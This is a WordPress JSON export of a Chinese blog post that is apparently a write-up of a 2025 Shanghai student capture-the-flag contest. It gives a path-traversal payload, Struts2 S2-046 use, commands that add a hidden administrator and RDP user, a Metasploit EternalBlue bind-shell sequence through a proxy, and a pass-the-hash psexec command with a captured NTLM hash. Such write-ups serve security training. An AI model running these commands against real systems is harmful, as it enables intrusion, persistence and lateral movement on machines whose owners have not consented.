{"id":142,"date":"2025-08-08T12:28:25","date_gmt":"2025-08-08T04:28:25","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=142"},"modified":"2025-08-11T17:14:18","modified_gmt":"2025-08-11T09:14:18","slug":"%e4%b8%8a%e6%b5%b7%e7%a3%90%e7%9f%b3%e8%a1%8c%e5%8a%a8%ef%bc%88%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98%ef%bc%89wp","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=142","title":{"rendered":"\u4e0a\u6d77\u5e02\u5927\u5b66\u751f\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u66a8\u201c\u78d0\u77f3\u884c\u52a8\u201d2025 \uff08\u6f0f\u6d1e\u6316\u6398\uff09WP"},"content":{"rendered":"<h2>\u4fe1\u606f\u6cc4\u9732\u5f15\u53d1\u7684\u8840\u6848<\/h2>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807084308243.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807110646558.png\" alt=\"\" \/><\/p>\n<p>\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6base64\u7f16\u7801<\/p>\n<pre><code>..\\..\\..\\..\\Users\\Administrator\\Desktop\\flag<\/code><\/pre>\n<p>Li5cLi5cLi5cLi5cVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXGZsYWc<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807110631947.png\" alt=\"\" \/><\/p>\n<h2>\u6e05\u6668\u7684\u7b2c\u4e00\u7f15\u9633\u5149<\/h2>\n<h3>\u7b2c\u4e00\u5c42<\/h3>\n<p>\u76ee\u5f55\u626b\u63cf<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807112110404.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807113357132.png\" alt=\"\" \/><\/p>\n<p>struts2\u6846\u67b6\u5185\u5229\u7528s46<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807113639715.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807113929478.png\" alt=\"\" \/><\/p>\n<p>flag{8nmMOYCDTIyN3EbHSjoeK0FgduXVwGr1}<\/p>\n<h3>\u7b2c\u4e8c\u5c42<\/h3>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807165747018.png\" alt=\"\" \/><\/p>\n<p>\u6dfb\u52a0\u7528\u6237\u8fdb\u884c\u8fdc\u7a0b\u767b\u5f55<\/p>\n<pre><code>net user which admin@123 \/add\n\nnet localgroup &quot;Remote Desktop Users&quot; which \/add\n\nnet localgroup administrators which \/add<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807165856320.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807170203225.png\" alt=\"\" \/><\/p>\n<p>192.168.99.120\u9776\u673a\u8fdb\u884cfscan\u53d1\u73b0\u5b58\u5728\u6c38\u6052\u4e4b\u84dd<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807173738620.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807213309858.png\" alt=\"\" \/><\/p>\n<pre><code># \u751f\u6210\u9a6c\nmsfvenom -p windows\/x64\/shell_bind_tcp LPORT=4444 -f raw -o shellcode.bin\nsetg Proxies socks5:156.238.233.63:4445\nuse exploit\/windows\/smb\/ms17_010_eternalblue\nset RHOSTS 192.168.99.112\nset PAYLOAD windows\/x64\/shell_bind_tcp\nset LPORT 4444\nexploit \n\nproxychains4 nc 192.168.99.112 4444 \n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807231912881.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807232026170.png\" alt=\"\" \/><\/p>\n<h3>\u7b2c\u4e09\u5c42<\/h3>\n<p>\u6dfb\u52a0\u7528\u6237<\/p>\n<pre><code>net user which admin@123 \/add\n\nnet localgroup &quot;Remote Desktop Users&quot; which \/add\n\nnet localgroup administrators which \/add<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250807233326682.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250808111639892.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250808111708478.png\" alt=\"\" \/><\/p>\n<pre><code>Administrator 173964ad89f81721613e41bd1122e65f<\/code><\/pre>\n<pre><code>proxychains python3 \/usr\/share\/doc\/python3-impacket\/examples\/psexec.py  WORKGROUP\/Administrator@10.223.155.223 -hashes :173964ad89f81721613e41bd1122e65f <\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250808111900698.png\" alt=\"\" \/><\/p>\n<button class=\"simplefavorite-button\" data-postid=\"142\" data-siteid=\"1\" data-groupid=\"1\" data-favoritecount=\"0\" style=\"\">\u6536\u85cf <i class=\"sf-icon-star-empty\"><\/i><\/button>","protected":false},"excerpt":{"rendered":"<p>\u4fe1\u606f\u6cc4\u9732\u5f15\u53d1\u7684\u8840\u6848 \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6base64\u7f16\u7801 ..\\..\\..\\..\\Users\\Administrator\\Desktop\\ &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[25],"tags":[27,26],"class_list":["post-142","post","type-post","status-publish","format-standard","hentry","category-25","tag-27","tag-26"],"_links":{"self":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/142","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=142"}],"version-history":[{"count":2,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/142\/revisions"}],"predecessor-version":[{"id":144,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/142\/revisions\/144"}],"wp:attachment":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=142"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=142"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=142"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}